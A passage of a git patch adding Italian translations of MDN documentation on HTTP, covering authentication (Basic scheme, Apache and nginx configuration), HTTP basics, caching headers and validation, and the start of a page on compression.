From da78a9e329e272dedb2400b79a3bdeebff387d47 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:42:17 -0500 Subject: initial commit --- files/it/web/http/authentication/index.html | 134 +++++ files/it/web/http/basi_http/index.html | 48 ++ files/it/web/http/caching/index.html | 187 +++++++ files/it/web/http/compressione/index.html | 67 +++ files/it/web/http/conditional_requests/index.html | 144 ++++++ files/it/web/http/cookies/index.html | 193 +++++++ .../http/cors/errors/corsdidnotsucceed/index.html | 36 ++ .../cors/errors/corsmissingalloworigin/index.html | 46 ++ files/it/web/http/cors/errors/index.html | 76 +++ files/it/web/http/cors/index.html | 565 +++++++++++++++++++++ files/it/web/http/feature_policy/index.html | 161 ++++++ files/it/web/http/headers/age/index.html | 69 +++ files/it/web/http/headers/authorization/index.html | 88 ++++ files/it/web/http/headers/cookie/index.html | 74 +++ files/it/web/http/headers/host/index.html | 77 +++ files/it/web/http/headers/index.html | 368 ++++++++++++++ files/it/web/http/headers/server/index.html | 70 +++ .../headers/strict-transport-security/index.html | 118 +++++ .../http/headers/x-content-type-options/index.html | 90 ++++ .../web/http/headers/x-xss-protection/index.html | 90 ++++ files/it/web/http/index.html | 231 +++++++++ .../web/http/negoziazione-del-contenuto/index.html | 143 ++++++ files/it/web/http/panoramica/index.html | 176 +++++++ .../web/http/protocol_upgrade_mechanism/index.html | 148 ++++++ files/it/web/http/redirections/index.html | 318 ++++++++++++ .../http/resources_and_specifications/index.html | 267 ++++++++++ files/it/web/http/richieste_range/index.html | 115 +++++ files/it/web/http/sessione/index.html | 171 +++++++ files/it/web/http/status/100/index.html | 42 ++ files/it/web/http/status/101/index.html | 51 ++ files/it/web/http/status/200/index.html | 55 ++ files/it/web/http/status/302/index.html | 50 ++ files/it/web/http/status/404/index.html | 62 +++ files/it/web/http/status/500/index.html | 43 ++ files/it/web/http/status/index.html | 171 +++++++ 35 files changed, 4744 insertions(+) create mode 100644 files/it/web/http/authentication/index.html create mode 100644 files/it/web/http/basi_http/index.html create mode 100644 files/it/web/http/caching/index.html create mode 100644 files/it/web/http/compressione/index.html create mode 100644 files/it/web/http/conditional_requests/index.html create mode 100644 files/it/web/http/cookies/index.html create mode 100644 files/it/web/http/cors/errors/corsdidnotsucceed/index.html create mode 100644 files/it/web/http/cors/errors/corsmissingalloworigin/index.html create mode 100644 files/it/web/http/cors/errors/index.html create mode 100644 files/it/web/http/cors/index.html create mode 100644 files/it/web/http/feature_policy/index.html create mode 100644 files/it/web/http/headers/age/index.html create mode 100644 files/it/web/http/headers/authorization/index.html create mode 100644 files/it/web/http/headers/cookie/index.html create mode 100644 files/it/web/http/headers/host/index.html create mode 100644 files/it/web/http/headers/index.html create mode 100644 files/it/web/http/headers/server/index.html create mode 100644 files/it/web/http/headers/strict-transport-security/index.html create mode 100644 files/it/web/http/headers/x-content-type-options/index.html create mode 100644 files/it/web/http/headers/x-xss-protection/index.html create mode 100644 files/it/web/http/index.html create mode 100644 files/it/web/http/negoziazione-del-contenuto/index.html create mode 100644 files/it/web/http/panoramica/index.html create mode 100644 files/it/web/http/protocol_upgrade_mechanism/index.html create mode 100644 files/it/web/http/redirections/index.html create mode 100644 files/it/web/http/resources_and_specifications/index.html create mode 100644 files/it/web/http/richieste_range/index.html create mode 100644 files/it/web/http/sessione/index.html create mode 100644 files/it/web/http/status/100/index.html create mode 100644 files/it/web/http/status/101/index.html create mode 100644 files/it/web/http/status/200/index.html create mode 100644 files/it/web/http/status/302/index.html create mode 100644 files/it/web/http/status/404/index.html create mode 100644 files/it/web/http/status/500/index.html create mode 100644 files/it/web/http/status/index.html (limited to 'files/it/web/http') diff --git a/files/it/web/http/authentication/index.html b/files/it/web/http/authentication/index.html new file mode 100644 index 0000000000..243ef77fa9 --- /dev/null +++ b/files/it/web/http/authentication/index.html @@ -0,0 +1,134 @@ +--- +title: HTTP authentication +slug: Web/HTTP/Authentication +translation_of: Web/HTTP/Authentication +--- +
{{HTTPSidebar}}
+ +

HTTP fornisce un framework generico per il controllo degli accessi e l'autenticazione. Questa pagina è un'introduzione al framework HTTP per l'autenticazione, e mostra come limitare l'accesso al tuo server usando lo schema HTTP "Basic".

+ +

Il generico framework di autenticazione HTTP

+ +

{{RFC("7235")}} definisce il framework di autenticazione HTTP, che può essere usato da un server per {{glossary("challenge")}} una richiesta client, e da un client per fornire informazioni di autenticazione.

+ +

I flussi di challenge e di risposta funzionano in questo modo:

+ +
    +
  1. Il server risponde ad un client con una risposta {{HTTPStatus("401")}} (Unauthorized) {{HTTPHeader("WWW-Authenticate")}} 
  2. +
  3. Un client vuole autenticarsi con il server, può quindi farlo includendo un request header {{HTTPHeader("Authorization")}} con le credenziali
  4. +
  5. Il client di solito consegna una password prompt all'utente e poi emetterà la richiesta includendo il corretto Authorization header.
  6. +
+ +

A sequence diagram illustrating HTTP messages between a client and a server lifeline.

+ +

In caso di un'autenticazione "Basic" mostrata come in figura, lo scambio deve avvenire su una connessione HTTPS per essere sicuro.

+ +

Autenticazione proxy

+ +

Lo stesso meccanismo di domanda e risposta può essere utilizzato per l'autentificazione del proxy. Poiché sia ​​l'autenticazione delle risorse che l'autenticazione del proxy possono coesistere, è necessaria una nuova impostazione di headers e codici di stato.
+ Nel caso dei proxy, il codice della challenge è 407(richiesta di autentificazione del proxy), l'intestazione della risposta di autentificazione del proxy cointiene almeno una challenge applicabile al proxy, e l'intestazione della richiesta dell'autentificazione del proxy è utilizzata per fornire le credenziali al server del proxy.

+ +

Accesso negato

+ +

Se un server(proxy) riceve delle credenziali valide che sono, però, inadeguate per accedere ad una determinata risorsa, il server risponderà con il codice di stato Forbidden 403. A differenza del 401 (non autorizzato) o del 407 (richiesta autentificazione proxy), l'autentificazione è impossibie per questo utente

+ +

Autenticazione delle immagini cross-origin

+ +

Un potenziale buco di sicurezza risolto recentemente dai browser è l'autenticazione delle immagini cross-site. Da Firefox 59 in avanti, le risorse delle immagini provenienti da origini diverse facenti parte di uno stesso documento non sono più in grado di innescare i dialoghi di autenticazione HTTP ({{bug(1423146)}}), impedendo che le credenziali degli utenti siano rubate se i malintenzionati fissero in grado di integrare un'immagine casuale in un una immagine di terze parti.

+ +

Codifica dei caratteri dell'autenticazione HTTP

+ +

I  browsers usano la codifica utf-8 per usarname e password.
+ Firefox un tempo utilizzava ISO-8859-1, ma ora ha cambiato in utf-8 per essere alla pari con gli altri browsers e per evitare potenziali problemi come descritto nel bug 1419658

+ +

Gli header WWW-Authenticate e Proxy-Authenticate

+ +

Le risposte del WWW-Authenticate e del Proxy-Authenticate definiscono l'autentificazione dei metodi che può essere utilizzata per guadagnare accessi ad una risorsa. Devono specificare quale schema di autentificazione è stato usato, in modo che il client che desidera autorizzare sa come fornire le credenziali.
+ La sintassi per questi header è la seguente:

+ +
WWW-Authenticate: <type> realm=<realm>
+Proxy-Authenticate: <type> realm=<realm>
+
+ +

Qui, <type>è lo schema di autentificazione ("Basic" è loschema più comune e verrà introdotto sotto). Il realm è usato per descrivere l'area protetta o per indicare l'ambito della protezione. Questo può essere un messaggio del tipo:"Access to the staging site" o cose simili, in modo che l'utente sappia a quale spazio sta cercando di accedere

+ +

Gli header Authorization e Proxy-Authorization

+ +

I request header {{HTTPHeader("Authorization")}} e {{HTTPHeader("Proxy-Authorization")}} contengono le credenziali per autenticare un utente con un server (proxy). Qui, il <type> dev'essere seguito dalle credenziali, che possono essere codificate o criptate in base a che schema di autenticazione venga usato.

+ +
Authorization: <type> <credentials>
+Proxy-Authorization: <type> <credentials>
+
+ +

Schemi di autenticazione

+ +

Il generico framwork di autenticazione HTTP è usato da parecchi schemi di autenticazione. Gli schemi possono differenziare in forza di sicurezza e la loro disponibilità nel software client o server.

+ +

Lo schema di autenticazione più comune è lo schema di autenticazione "Basic", il quale sarà introdotto più in dettaglio al di sotto. IANA tiene una lista di schemi di autenticazione, ma ci sono altri schemi offerti dai servizi host, come ad esempio Amazon AWS. I comuni schemi di autenticazione includono:

+ +
+
Basic
+
Vedi {{rfc(7617)}}, credenziali codificate in base64. Maggiori informazioni sotto.
+
Bearer
+
Vedi {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources
+
Digest
+
Vedi {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support
+
HOBA
+
Vedi {{rfc(7486)}}, Section 3, HTTP Origin-Bound Authentication, digital-signature-based
+
Mutual
+
Vedi {{rfc(8120)}}
+
AWS4-HMAC-SHA256
+
Vedi AWS docs
+
+ +

Schema di autenticazione di base

+ +

Lo schema di autenticazione HTTP "Basic" è definito in {{rfc(7617)}}, che trasmette le credenziali come user ID/password, codificate usando base64.

+ +

Sicurezza dell'autenticazione di base

+ +

Siccome l'user ID e la password passano sulla rete come testo (è codificato in base64, ma base64 è una codifica reversibile), lo schema di autenticazione di base non è sicuro. HTTPS/TLS dovrebbero essere usati con l'autenticazione di base. Senza questi aggiuntivi miglioramenti di sicurezza, l'autenticazione di base non dovrebbe essere usata per proteggere dati sensibili o informazioni preziose.

+ +

L'accesso ristretto con Apache and l'autenticazione di base

+ +

Per proteggere con password una cartella su un server Apapche, avrai bisogno di un file .htaccess e .htpasswd .

+ +

il file .htaccess solitamente appare così:

+ +
AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user
+ +

Il file .htaccess fa riferimento al file .htpasswd nel quale ogni riga è formata da username e password i quali sono separati da due punti (:). Non puoi vedere le password vere siccome vengono codificate (usando MD5-based hashing, in questo caso). Osserva che puoi nominare il tuo file .htpasswd diversamente se vuoi, ma ricordati che il file non dovrebbe essere accessibile a nessuno. (Solitamente Apache è configurato per impedire l'accesso ai file .ht*).

+ +
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+
+ +

L'accesso ristretto con nginx e l'autenticazione di base

+ +

Per nginx dovrai specificare un posto che proteggeri e le direttive auth_basic che forniscono il nome all'area protetta dalla password. La direttiva dell'auth_basic_user_file successivamente punterà al file .htpasswd contenente le credenziali dell'utente criptate, come l'esempio Apache sottostante:

+ +
location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}
+ +

Accesso usando le credenziali nell'URL

+ +

Parecchi client evitano il prompt login per mezzo di un URL codificato contenente lo username e la password in questo modo:

+ +
https://username:password@www.example.com/
+ +

L'uso di questi URL è deprecato. In Chrome, la parte username:password@ dell'URLs è  tolta per motivi di sicurezza. In Firefox, è controllata solo se veramente il sito richiede l'autenticazione, e, se no, Firefox avviserà lo user con un prompt "Stai per loggare nel sito "www.esempio.com" con lo username "username", ma il sito non richiede l'autenticazione. Questo potrebbe essere un tentativo di ingannarti."

+ +

Vedi anche

+ + diff --git a/files/it/web/http/basi_http/index.html b/files/it/web/http/basi_http/index.html new file mode 100644 index 0000000000..cbb668f329 --- /dev/null +++ b/files/it/web/http/basi_http/index.html @@ -0,0 +1,48 @@ +--- +title: Le basi dell'HTTP +slug: Web/HTTP/Basi_HTTP +translation_of: Web/HTTP/Basics_of_HTTP +--- +
{{HTTPSidebar}}
+ +

HTTP è un protocollo espandibile che si basa su concetti come le risorse e gli URI (Uniform Resource Identifiers), la semplice struttura del messaggio, e il flusso di comunicazione client-server. Oltre a questi concetti di base, nel corso degli anni sono state sviluppate numerose estensioni che aggiungono funzionalità e semantica aggiornate con nuovi metodi HTTP o intestazioni.

+ +

Articoli

+ +
+
Descrizione dell'HTTP
+
Descrive cos'è l'HTTP e il suo ruolo nell'architettura web, compresa la sua posizione nella pila dei protocolli.
+
Evoluzione dell'HTTP
+
L'HTTP è stato creato all'inizio degli anni '90 ed è stato ampliato più volte. Questo articolo ripercorre la sua storia e descrive HTTP/0.9, HTTP/1.0, HTTP/1.1, e il moderno HTTP/2, oltre alle novità introdotte nel corso degli anni.
+
Risorse e URIs
+
Una breve introduzione al concetto di risorse, identificatori e posizioni sul web.
+
Identificare le risorse sul Web
+
Descrive come sono referenziate le risorse web e come individuarle.
+
Data URIs
+
Un tipo specifico di URI che incorpora direttamente la risorsa che rappresenta. I data URIs sono molto convenienti, ma hanno qualche pecca.
+
Resource URLs {{Non-standard_Inline}}
+
+

I Resource URLs, quelli con il prefisso dello schema delle risorse, sono utilizzati da Firefox e dalle estensioni del browser Firefox per caricare le risorse internamente, ma sono disponibili anche per alcuni siti a cui il browser si connette.

+
+
Separare l'identità e la posizione di una risorsa: L'intestazione HTTP Alt-Svc
+
La maggior parte delle volte l'identità e la posizione di una risorsa web sono condivise, questo può cambiare con l'intestazione Alt-Svc.
+
MIME types
+
Da HTTP/1.0, possono essere trasmessi diversi tipi di contenuto. Questo articolo spiega come questo è compiuto usando l' {{HTTPHeader("Content-Type")}} header e il MIME standard.
+
Choosing between www and non-www URLs
+
Questo articolo fornisce indicazioni sul come scegliere se usi un www-prefixed domain o no, insieme alle conseguenze di quella scelta.
+
Flow of an HTTP session
+
Questo articolo fondamentale descrive una tipica sessione HTTP:
+ Cosa succede dietro le quinte quando fai clic su un collegamento nel tuo browser.
+
HTTP Messages
+
I messaggi HTTP trasmessi durante la richiesta o risposta hanno una chiara struttura. Questo articolo introduttivo descrive questa struttura, il suo scopo, e le sue possibilità.
+
Frame and message structure in HTTP/2
+
HTTP/2 eincapsula e rappresenta messaggi HTTP/1.x in un frame binario. Questo articolo spiega la struttura del frame, il suo scopo, e i vari modi con il quale può essere scritto sotto forma di codice.
+
Connection management in HTTP/1.x
+
HTTP/1.1 era la prima versione di HTTP per supportare persistent connection and pipelining. Questo articolo spiega entrambi i concetti.
+
Connection management in HTTP/2
+
HTTP/2 completely revisited how connections are created and maintained. This article explains how HTTP frames allow multiplexing and solve the 'head-of-line' blocking problem of former HTTP versions.
+
Content Negotiation
+
HTTP introduces a set of headers, starting with Accept as a way for a browser to announce the format, language, or encoding it prefers. This article explains how this advertisement happens, how the server is expected to react, and how it chooses the most adequate response.
+
+ +
diff --git a/files/it/web/http/caching/index.html b/files/it/web/http/caching/index.html new file mode 100644 index 0000000000..1868f9ff82 --- /dev/null +++ b/files/it/web/http/caching/index.html @@ -0,0 +1,187 @@ +--- +title: HTTP caching +slug: Web/HTTP/Caching +translation_of: Web/HTTP/Caching +--- +
{{HTTPSidebar}}
+ +

Le prestazioni di siti web e applicazioni possono essere migliorate drasticamente riutilizzando le risorse già ottenute. Le web caches riducono la latenza e il traffico di rete, diminuendo il tempo necessario per rappresentare una risorsa. Attraverso l'uso dell'HTTP caching, i siti web diventano più responsivi.

+ +

I diversi tipi di cache

+ +

Il caching è una tecnica che immagazzina una copia di una risorsa data e la restituisce quando richiesta. Quando una web cache ha una risorsa richiesta in memoria, intercetta la richiesta e ritorna la sua copia invece di riscaricarla dal server originale. Così si raggiungono diversi risultati: alleggerisce il carico del server che non deve più servire tutti i client da solo, e migliora le prestazioni stando più vicina al client, ad esempio, ci mette meno tempo a restituire le risorse. Per un sito web, è una componente fondamentale nell’ottenere prestazioni elevate. D’altra parte, deve essere configurato correttamente in quanto non tutte le risorse rimangono identiche per sempre. È importante mettere in cache una risorsa solo finché non cambia.

+ +

Ci sono diversi tipi di cache: queste possono essere raggruppate in due principali categorie: private o condivise. Una cache condivisa è una cache che immagazzina risposte per essere utilizzate da più utenti. Una cache privata è una cache dedicata ad un singolo utente. Questa pagina tratterà per la maggior parte delle browser cache e di quelle del proxy, ma ci sono anche gateway cache, CDN, reverse proxy cache e load balancer che sono impiegati nei server web per maggiore affidabilità, prestazioni e scaling di siti web e applicazioni web.

+ +

What a cache provide, advantages/disadvantages of shared/private caches.

+ +

Cache private del browser

+ +

Una cache privata è dedicata ad un singolo utente. Potresti aver già visto “caching” nelle impostazioni del tuo browser. Una browser cache conserva tutti i documenti scaricati via http dall’utente. Questa cache è usata per rendere disponibili i documenti per la navigazione avanti o indietro, salvare, vedere come risorsa, ecc. senza inviare un'altra richiesta al server. Similmente migliora la ricerca offline di contenuti in cache.

+ +

Cache condivise

+ +

Una cache condivisa è una cache che immagazzina risposte per essere utilizzate da più di un utente. Ad esempio, un ISP o la tua compagnia potrebbero aver impostato un web proxy come parte della sua infrastruttura network locale per servire molti utenti così che risorse popolari vengono riutilizzate più volte, riducendo il traffico di rete e la latenza.

+ +

 I soggetti del caching

+ +

L'HTTP caching  non è obbligatorio, ma è normalmente utile. Le HTTP caches normalmente sono limitate alle risposte a {{HTTPMethod("GET")}} e potrebbero rifiutare altri metodi. La chiave primaria della cache consiste nel metodo richiesto e nell'URI desiderato (spesso viene usato solo l'URI, in quanto solo le richieste GET vengono salvate nella cache).

+ +

Informazioni che spesso vengono salvate nella cache:

+ + + +

I dati inseriti possono essere composti da più risposte differenziate da una chiave secondaria se la richiesta è oggetto di scambio di contenuti. Per ulterior informazioni riguardo all'header {{HTTPHeader("Vary")}} leggi below.

+ +

Controllare la cache

+ +

L'header Cache-Control

+ +

L'header generico {{HTTPHeader("Cache-Control")}} HTTP/1.1 viene usato per specificare i meccanismi del caching per richieste e risposte. Questo header può essere usato per definire le caching policies attraverso le direttive proposte.

+ +

No caching

+ +

La cache non dovrebbe salvare né le richieste né le risposte. Ogni richiesta viene mandata al server, dovendo quindi riscaricare ogni volta la risposta.

+ +
Cache-Control: no-store
+
+ +

Cache but revalidate

+ +

La cache invia chiede una validazione da parte del server prima di fornire la sua copia.

+ +
Cache-Control: no-cache
+ +

Private and public caches

+ +

La direttiva "public" indica che la risposta può essere salvata da qualsiasi cache. Questo può essere utile per salvare pagine con codici di risposta HTTP che normalmente non si potrebbero salvare.

+ +

Dall'altro lato, "private" indica che la risposta è legata ad un solo utente, quindi non sarà salvata in una cache condivisa. In questo caso la risposta potrebbe essere salvata da una cache privata del browser.

+ +
Cache-Control: private
+Cache-Control: public
+
+ +

Expiration

+ +

La direttiva più importante è max-age=<secondi>, che indica il tempo massimo (in secondi) in cui la risorsa è considerata fresca ("fresh"). Questa direttiva è relativa al tempo indicato dalla richiesta e sovrascrive l'header {{HTTPHeader("Expires")}} (se impostato). I file che non mutano (come ad esempio immagini, fogli CSS e script JavaScript) sono buoni candidati per essere salvati nella cache

+ +

Per ulteriori dettagli visita la sezione Freshness.

+ +
Cache-Control: max-age=31536000
+ +

Validation

+ +

Quando viene usata la direttiva "must-revalidate" la cache deve verificare lo stato della risorsa prima di usarla, evitando le risorse scadute. Per ulteriori dettagli visita la sezione Validation.

+ +

Cache-Control: must-revalidate

+ +

L'header Pragma

+ +

{{HTTPHeader("Pragma")}} è un header HTTP/1.0. Pragma: no-cache corrisponde a Cache-Control: no-cache,  forzando quindi le cache a validare le risorse prima di utilizzarle. Pragma non è incluso nelle risposte HTTP, quindi non può sostituire completamente l'header Cache-Control presente in HTTP/1.1.

+ +

Si dovrebbe utilizzare l'header Pragma solo per retrocompatibilità con le cache in HTTP/1.0, dove l'header Cache-Control di HTTP/1.1 non è presente.

+ +

Freschezza

+ +

Una volta che una risorsa è memorizzata in cache, potrebbe teoricamente essere servita dalla cache per sempre. Le cache hanno una memoria finita quindi gli oggetti sono periodicamente rimossi dalla memoria. Questo processo si chiama sfratto della cache (cache eviction). D’altra parte, alcune risorse possono essere cambiate sul server quindi la cache andrebbe aggiornata. Dato che l’HTTP è un protocollo client-server, i server non possono contattare le cache e i client quando una risorsa cambia; devono comunicare un tempo di scadenza per la risorsa. Prima di questa scadenza, la risorsa è fresca; dopo la scadenza, la risorsa è datata. Gli algoritmi di sfratto spesso prediligono risorse fresche a quelle datate. Da notare che una risorsa datata non è sfrattata o ignorata; quando la cache riceve una richiesta per una risorsa datata, la inoltra con un If-None-Match per verificare se è di fatto ancora fresca. In questo caso il server ritorna un 304 (Non Modificata) header senza inviare il body della risorsa richiesta, risparmiando banda.

+ +

Qui è un esempio di questo processo con una proxy cache condivisa:

+ +

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

+ +

La durata della freschezza è calcolata secondo diversi header. Se l'header "Cache-Control: max-age=N" è presente la durata sarà pari ad N, altrimenti (come spesso accade) si controlla se è presente l'header {{HTTPHeader("Expires")}}. Se esiste, la durata equivale alla differenza tra il valore dell'header {{HTTPHeader("Date")}} e il valore dell'header {{HTTPHeader("Expires")}}.

+ +

Controllo euristico della freschezza

+ +

Se un server centrale non specifica esplicitamente la durata della freschezza (usando ad esempio gli header {{HTTPHeader("Cache-Control")}} o {{HTTPHeader("Expires")}}) potrebbe essere utilizzato un approccio euristico.

+ +

In questo caso si cerca l'header {{HTTPHeader("Last-Modified")}}. Se presente, la freschezza è uguale alla differenza tra il valore di ques'ultimo e il valore di Date divisa per 10:

+ +
dataDiScadenza = orarioDellaRisposta + durataDellaFreschezza - tempoDiVitaCorrente
+
+ +

dove tempoDiRisposta è l'ora in cui la risposta è stata ricevuta dal browser. Per maggiori informazioni: RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2.  Calculating Heuristic Freshness.

+ +

Revved resources

+ +

Più si usa una risorsa in cache, più reattive saranno le risposte e le performance di un sito web. Per ottimizzarle, la norma è impostare i tempi di scadenza più in là possibile nel futuro. Questo è possibile con risorse che sono regolarmente aggiornate, o spesso, ma è problematico per risorse che vengono aggiornate raramente. Sono le risorse che beneficerebbero di più dalle cache, eppure questo le rende difficili da aggiornare. È tipico delle risorse tecniche incluse e linkate da ogni pagina web: I file Javascript e CSS cambiano di rado, ma quando succede vuoi che vengano aggiornati rapidamente.

+ +

I web developer hanno inventato una tecnica che Steve Souders chiamò revving. File sporadicamente aggiornati sono nominati in un modo specifico: nel loro URL, solitamente nel nome del file, un numero di revisione (o versione) viene aggiunto. In questo modo ogni nuova revisione di questa risorsa viene considerata come una risorsa che non cambia e può avere un tempo di scadenza molto avanti nel futuro, di solito un anno o più. Per avere le nuove versioni, tutti i link che fanno capo a loro vanno cambiati, questa è la limitazione di questo metodo: complessità aggiuntive vengono solitamente risolti dalle tool chain usate dai web developer. Quando la risorsa che cambia di rado viene modificata, questa induce un cambiamento aggiuntivo a risorse spesso variabili. Quando vengono lette, le nuove versioni della altre vengono anch’esse lette.

+ +

Questa tecnica ha un vantaggio aggiuntivo: aggiornare due risorse in cache nello stesso momento preverrà situazioni in cui la risorsa vecchia viene usata in combinazione con quella nuova dell’altra. Questo è molto importante quando i siti web hanno fogli CSS o script JS che hanno dipendenze reciproche, ad esempio che dipendono l’uno sull’altro perché si riferiscono agli stessi elementi HTML.

+ +

How the revved cache mechanism works. With minor typo fix to grammar issue: https://github.com/mdn/sprints/issues/2618

+ +

La versione di revisione aggiunta a una revved resource non ha bisogno di essere una classica stringa di revisione come 1.1.3, o un numero che aumenta monotonamente. Può essere qualsiasi cosa che impedisca le collisioni, come un hash o una data.

+ +

Validazione della cache

+ +

Quando una risorsa presente nella cache scade può essere validata o può essere richiesta nuovamente al server. La validazione può avvenire solo se il server ha fornito un validatore forte (strong validator) o un validatore debole (weak validator).

+ +

La rivalidazione comincia quando l'utente ricarica la pagina, oppure quando la risposta contenuta nella cache inculde l'header "Cache-Control: must-revalidate". Un altro fattore è costituito dalle impostazioni nel pannello Avanzate->Cache, dove è possibile forzare la validazione ogni volta che un documento viene caricato.

+ +

ETags

+ +

L'header {{HTTPHeader("ETag")}}, contenuto in una risposta, è un valore opaco per lo user agent (opaque-to-the-useragent) che può essere usato come un validatore forte. Questo significa che uno user-agent HTTP, ad esempio un browser, non sa cosa cosa questa stringa rappresenti e non può predirne il valore. Se l'header ETag fosse parte di una risposta contenente una risorsa, il client può inserire {{HTTPHeader("If-None-Match")}} nell'header delle richieste future, così da validare le risorse salvate nella cache.

+ +

Last-Modified

+ +

L'header {{HTTPHeader("Last-Modified")}}, contenuto in una risposta, può essere usato come un validatore debole. È considerato debole per via della sua risoluzione (un secondo). Se in una risposta è presente l'header Last-Modified il client può inserire {{HTTPHeader("If-Modified-Since")}} nell'header della richiesta per validare il documento salvato nella cache.

+ +

Quando viene fatta una richiesta di validazione il server può ignorarla e rispondere con {{HTTPStatus(200)}} OK, oppure può ritornare {{HTTPStatus(304)}} Not Modified (senza corpo) per permettere al browser di usare il contenuto della cache. In quest'ultimo caso ci possono essere anche altri header che aggiornano la data di scadenza del documento salvato nella cache.

+ +

"Variare" le risposte

+ +

L'header delle risposte HTTP {{HTTPHeader("Vary")}} indica gli header con cui usare una risposta salvata nella cache.

+ +

Quando una cache riceve una richiesta contenente l'header Vary non deve usare una risposta salvata nella cache, a meno che tutti gli header contenuti nel campo Vary corrispondano agli header contenuti nella cache.

+ +

The Vary header leads cache to use more HTTP headers as key for the cache.Questa proprietà viene principalmente usata per salvare nella cache una risorsa non compressa o compressa in vari formati, per inviarla poi agli user agent a seconda delle codifiche che supportano. Per esempio, un server può impostare Vary: Accept-Encoding per assicurarsi che la risorsa sia salvata nella cache secondo le codifiche richieste, come Accept-Encoding: gzip,deflate,sdch.

+ +
Vary: Accept-Encoding
+
+ +
Nota: Usa Vary cautamente—può ridurre drasticamente i vantaggi del caching! Un caching server dovrebbe usare la normalizzazione per rimuovere duplicati e richieste non necessarie. Questo si verifica particolarmente quando si usa Vary con header che possono accettare diversi valori.
+ +

L'header Vary può tornare utile per fornire contenuti diversi a utenti mobili o desktop, o per permettere ai motori di ricerca di ottenere la versione mobile di una pagina (specificando opzionalmente che non c'è Cloaking). Questo viene attuato con l'header Vary: User-Agent, dato che il valore dell'header {{HTTPHeader("User-Agent")}} è diverso tra desktop e mobile.

+ +
Vary: User-Agent
+
+ +

Normalizzazione

+ +

Come anticipato sopra, i caching server utilizzerano le risposte salvate nella cache solo con le richieste i cui header (e valori annessi) corrispondono esattamente alle risposte salvate. Questo significa che per ogni piccola differenza verrà fatta una nuova richiesta al server centrale, che verrà poi salvata nella cache.

+ +

Per esempio, tutte le richieste con i seguenti header verranno richieste al server, per poi essere salvate nella cache: Accept-Encoding: gzip,deflate,sdch, Accept-Encoding: gzip,deflateAccept-Encoding: gzip. Probabilmente, però, il server centrale risponderà sempre con la stessa risorsa (un file gzip)!

+ +

Per evitare duplicati e richieste non necessarie, i caching server dovrebbero usare la normalizzazione per pre-processare le richieste e per salvare solo i file necessari nella cache. Ad esempio, nel caso di Accept-Encoding si possono controllare gzip e gli altri tipi di compressione prima di procedere. In "pseudo codice" si può codificare come:

+ +
// Normalizza Accept-Encoding
+if (req.http.Accept-Encoding) {
+  if (req.http.Accept-Encoding ~ "gzip") {
+    set req.http.Accept-Encoding = "gzip";
+  }
+  // elsif other encoding types to check
+else {
+  unset req.http.Accept-Encoding;
+  }
+}
+
+ +

User-Agent ha ancora più varianti di Accept-Encoding. Quindi s Vary: User-Agent viene utilizzato per salvare nella cache le varianti dei file per mobile/desktop si potrebbe controllare se "mobile""desktop" sono presenti nell'header User-Agent.

+ +

Guarda anche

+ + diff --git a/files/it/web/http/compressione/index.html b/files/it/web/http/compressione/index.html new file mode 100644 index 0000000000..59154440d8 --- /dev/null +++ b/files/it/web/http/compressione/index.html @@ -0,0 +1,67 @@ +--- +title: Compressione in HTTP +slug: Web/HTTP/Compressione +translation_of: Web/HTTP/Compression +--- +
{{HTTPSidebar}}
+ +

La compressione è un valido modo per incrementare le performance di un sito web. Per alcuni documenti, infatti, la riduzione del peso fino al 70% permette di dimiuire la larghezza di banda necessaria. Nel corso degli anni, inoltre, gli algoritmi sono diventati più efficienti e allo stesso tempo client e server ne supportano di nuovi.

+ +

A livello pratico non è necessario che gli sviluppatori web implementino dei meccanismi di compressione, dato che sia browser che server li hanno già implementati, ma devono tuttavia assicurarsi che il server sia adeguatamente configurato. La compressione avviene a tre livelli differenti:

+ + + +

Formato di compressione dei file

+ +

Ogni tipo di dati ha una certa ridondanza, ovvero uno spreco di spazio. Se il testo può in genere avere una ridondanza fino al 60%, questa percentuale può essere molto più alta per altri media come audio e video. A differenza del testo, questi altri tipi di supporti utilizzano molto spazio per archiviare i dati, di conseguenza la necessità di ottimizzare l'archiviazione e recuperare spazio si manifestò fin da subito. Gli ingegneri hanno progettato l'algoritmo di compressione ottimizzato utilizzato dai formati di file progettati per questo scopo specifico. Gli algoritmi di compressione utilizzati per i file possono essere raggruppati in due grandi categorie:

+ + + +

Alcuni formati possono essere utilizzati sia per la compressione loss-less che lossy, come ad esempio webp, e di solito l'algoritmo di compressione con perdita può essere configurato per comprimere più o meno, il che ovviamente porta a una qualità inferiore o superiore. Per migliorare le prestazioni di un sito Web l'ideale è comprimerlo il più possibile, mantenendo allo stesso tempo un livello di qualità accettabile. Per le immagini, un'immagine generata da uno strumento potrebbe non essere sufficientemente ottimizzata per il Web; si consiglia di utilizzare strumenti che comprimeranno il più possibile con la qualità richiesta. Esistono numerosi strumenti specializzati per questo.

+ +

Gli algoritmi di compressione lossy sono generalmente più efficienti di quelli lossless.

+ +
+

Poiché la compressione funziona meglio su un tipo specifico di file, di solito non fornisce nulla per comprimerli una seconda volta. In effetti, questo è spesso controproducente in quanto il costo del sovraccarico (gli algoritmi di solito richiedono un dizionario che si aggiunge alla dimensione iniziale) può essere superiore al guadagno extra nella compressione risultando in un file più grande. Non utilizzare le due seguenti tecniche per i file in un formato compresso.

+
+ +

Compression End-to-end

+ +

Per la compressione, la compressione end-to-end è il luogo in cui risiedono i maggiori miglioramenti delle prestazioni dei siti Web. La compressione end-to-end si riferisce a una compressione del corpo di un messaggio che viene eseguita dal server e durerà inalterata fino a quando non raggiunge il client. Qualunque siano i nodi intermedi, lasciano il corpo intatto.

+ +

+ +

